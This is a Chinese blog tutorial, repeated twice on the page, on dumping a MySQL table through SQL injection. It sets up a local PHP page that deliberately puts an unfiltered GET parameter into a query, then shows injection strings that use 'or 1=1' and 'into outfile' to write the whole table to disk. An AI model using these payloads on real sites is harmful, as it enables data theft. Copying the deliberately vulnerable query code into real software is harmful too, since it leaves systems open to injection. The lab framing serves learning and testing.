利用SQL注入漏洞拖庫的方法
更新時(shí)間:2012年01月12日 21:47:32 作者:
利用SQL注入漏洞登錄后臺(tái)和利用SQL注入漏洞拖庫是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒啥深度,正如文章開頭所說,權(quán)當(dāng)總結(jié),別無它意
想在本地測(cè)試的話,可以在此免積分下載:利用SQL注入漏洞拖庫
同上一篇文章一樣,我們需要?jiǎng)?chuàng)建數(shù)據(jù)表,并在表中出入幾條數(shù)據(jù)以備測(cè)試之用。
在數(shù)據(jù)庫中建立一張表:
CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
在表中插入數(shù)據(jù)的操作我就不貼代碼了,可以去下載下來直接導(dǎo)入到數(shù)據(jù)庫。
接下來,寫一個(gè)處理用戶請(qǐng)求的頁面,這里,我們故意不過濾用戶提交過來的數(shù)據(jù),留下個(gè)SQL注入漏洞用來測(cè)試。
代碼如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未經(jīng)過濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫連接失敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖庫<p>";
if (!$row){
echo "該記錄不存在";
exit;
}
echo "標(biāo)題<br>".$row['title']."<p>";
echo "內(nèi)容<br>".$row['content']."<p>";
?>
我們直接在瀏覽器中輸入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可訪問article表中id為1的一條記錄
訪問結(jié)果如下:
在地址欄中輸入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數(shù)據(jù)庫系統(tǒng)中會(huì)變成空,需要在地址欄中輸入%23,那么才會(huì)變成#,進(jìn)而注釋掉后面的sql語句。
運(yùn)行之后,打開E盤,發(fā)現(xiàn)多了一個(gè)sql.txt文件,打開之后,里面就是表article中的一條記錄。
為什么只有一條記錄呢?難道該數(shù)據(jù)表就只有一條記錄?不是這樣的,因?yàn)槲覀冎粰z索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢?
答案是可以的,只要你的構(gòu)造的SQL語句足夠靈活(再次提出了構(gòu)造SQL語句的靈活性)。
分析一下,當(dāng)在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時(shí)候,合并到sql查詢語句中變?yōu)椋?
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔細(xì)分析下之后,我們可以這樣子構(gòu)造SQL語句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價(jià)于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,該sql語句在先執(zhí)行select語句,將表article中的所以內(nèi)容全部檢索出來,然后再執(zhí)行into outfile 'e:/whf.txt'#'將內(nèi)容導(dǎo)出來。
不信的話,你執(zhí)行下……
利用SQL注入漏洞,我們可以猜測(cè)表名,列名,用戶的密碼長(zhǎng)度(LEFT函數(shù))等等,當(dāng)然了,如果能直接向以上的演示那樣將表中的數(shù)據(jù)全部導(dǎo)出的話就沒必要去猜表名列名等等。
有點(diǎn)累了,就寫到這里了。
利用SQL注入漏洞登錄后臺(tái)和利用SQL注入漏洞拖庫是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒啥深度,正如文章開頭所說,權(quán)當(dāng)總結(jié),別無它意。
同上一篇文章一樣,我們需要?jiǎng)?chuàng)建數(shù)據(jù)表,并在表中出入幾條數(shù)據(jù)以備測(cè)試之用。
在數(shù)據(jù)庫中建立一張表:
復(fù)制代碼 代碼如下:
CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
在表中插入數(shù)據(jù)的操作我就不貼代碼了,可以去下載下來直接導(dǎo)入到數(shù)據(jù)庫。
接下來,寫一個(gè)處理用戶請(qǐng)求的頁面,這里,我們故意不過濾用戶提交過來的數(shù)據(jù),留下個(gè)SQL注入漏洞用來測(cè)試。
代碼如下:
復(fù)制代碼 代碼如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未經(jīng)過濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫連接失敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖庫<p>";
if (!$row){
echo "該記錄不存在";
exit;
}
echo "標(biāo)題<br>".$row['title']."<p>";
echo "內(nèi)容<br>".$row['content']."<p>";
?>
我們直接在瀏覽器中輸入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可訪問article表中id為1的一條記錄
訪問結(jié)果如下:

在地址欄中輸入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數(shù)據(jù)庫系統(tǒng)中會(huì)變成空,需要在地址欄中輸入%23,那么才會(huì)變成#,進(jìn)而注釋掉后面的sql語句。
運(yùn)行之后,打開E盤,發(fā)現(xiàn)多了一個(gè)sql.txt文件,打開之后,里面就是表article中的一條記錄。
為什么只有一條記錄呢?難道該數(shù)據(jù)表就只有一條記錄?不是這樣的,因?yàn)槲覀冎粰z索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢?
答案是可以的,只要你的構(gòu)造的SQL語句足夠靈活(再次提出了構(gòu)造SQL語句的靈活性)。
分析一下,當(dāng)在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時(shí)候,合并到sql查詢語句中變?yōu)椋?
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔細(xì)分析下之后,我們可以這樣子構(gòu)造SQL語句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價(jià)于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,該sql語句在先執(zhí)行select語句,將表article中的所以內(nèi)容全部檢索出來,然后再執(zhí)行into outfile 'e:/whf.txt'#'將內(nèi)容導(dǎo)出來。
不信的話,你執(zhí)行下……
利用SQL注入漏洞,我們可以猜測(cè)表名,列名,用戶的密碼長(zhǎng)度(LEFT函數(shù))等等,當(dāng)然了,如果能直接向以上的演示那樣將表中的數(shù)據(jù)全部導(dǎo)出的話就沒必要去猜表名列名等等。
有點(diǎn)累了,就寫到這里了。
利用SQL注入漏洞登錄后臺(tái)和利用SQL注入漏洞拖庫是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒啥深度,正如文章開頭所說,權(quán)當(dāng)總結(jié),別無它意。
相關(guān)文章
MySQL8下忘記密碼后重置密碼的辦法(MySQL老方法不靈了)
這篇文章主要介紹了MySQL8下忘記密碼后重置密碼的辦法,MySQL的密碼是存放在user表里面的,修改密碼其實(shí)就是修改表中記錄,重置的思路是是想辦法不用密碼進(jìn)入系統(tǒng),然后用數(shù)據(jù)庫命令修改表user中的密碼記錄2018-08-08
mysql_connect(): Connection using old (pre-4.1.1) authentica
MySQL錯(cuò)誤提示:Connection using old (pre-4.1.1) authentication protocol refused (client option ‘secure_auth’ enabled)解決辦法,需要的朋友可以參考下2014-04-04
在MySQL數(shù)據(jù)庫中復(fù)位根用戶的密碼的方法
2007-12-12
高效數(shù)據(jù)流轉(zhuǎn):Mycat分庫分表與GreatSQL實(shí)時(shí)同步
聚焦數(shù)據(jù)庫擴(kuò)容與實(shí)時(shí)數(shù)據(jù)同步,探索MyCat分庫分表與GreatSQL的強(qiáng)大結(jié)合!想在大規(guī)模數(shù)據(jù)處理中游刃有余?本指南將帶你輕松掌握MyCat的分布式解決方案和GreatSQL的實(shí)時(shí)同步機(jī)制,讓高效、穩(wěn)定的數(shù)據(jù)庫管理觸手可及,一起揭開高并發(fā)環(huán)境下數(shù)據(jù)庫優(yōu)化的神秘面紗吧!2024-01-01
MHA實(shí)現(xiàn)mysql主從數(shù)據(jù)庫手動(dòng)切換的方法
這篇文章主要介紹了MHA實(shí)現(xiàn)mysql主從數(shù)據(jù)庫手動(dòng)切換的方法,詳細(xì)的講述了主從數(shù)據(jù)庫切換的步驟與方法,非常實(shí)用,需要的朋友可以參考下2014-10-10
MySQL下載安裝、配置與使用教程詳細(xì)版(win7x64)
這篇文章主要為大家詳細(xì)介紹了MySQL下載安裝、配置與使用的具體操作教程,很詳細(xì),感興趣的小伙伴們可以參考一下2016-05-05
MySQL Installer 8.0.21安裝教程圖文詳解
這篇文章主要介紹了MySQL Installer 8.0.21安裝教程,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-08

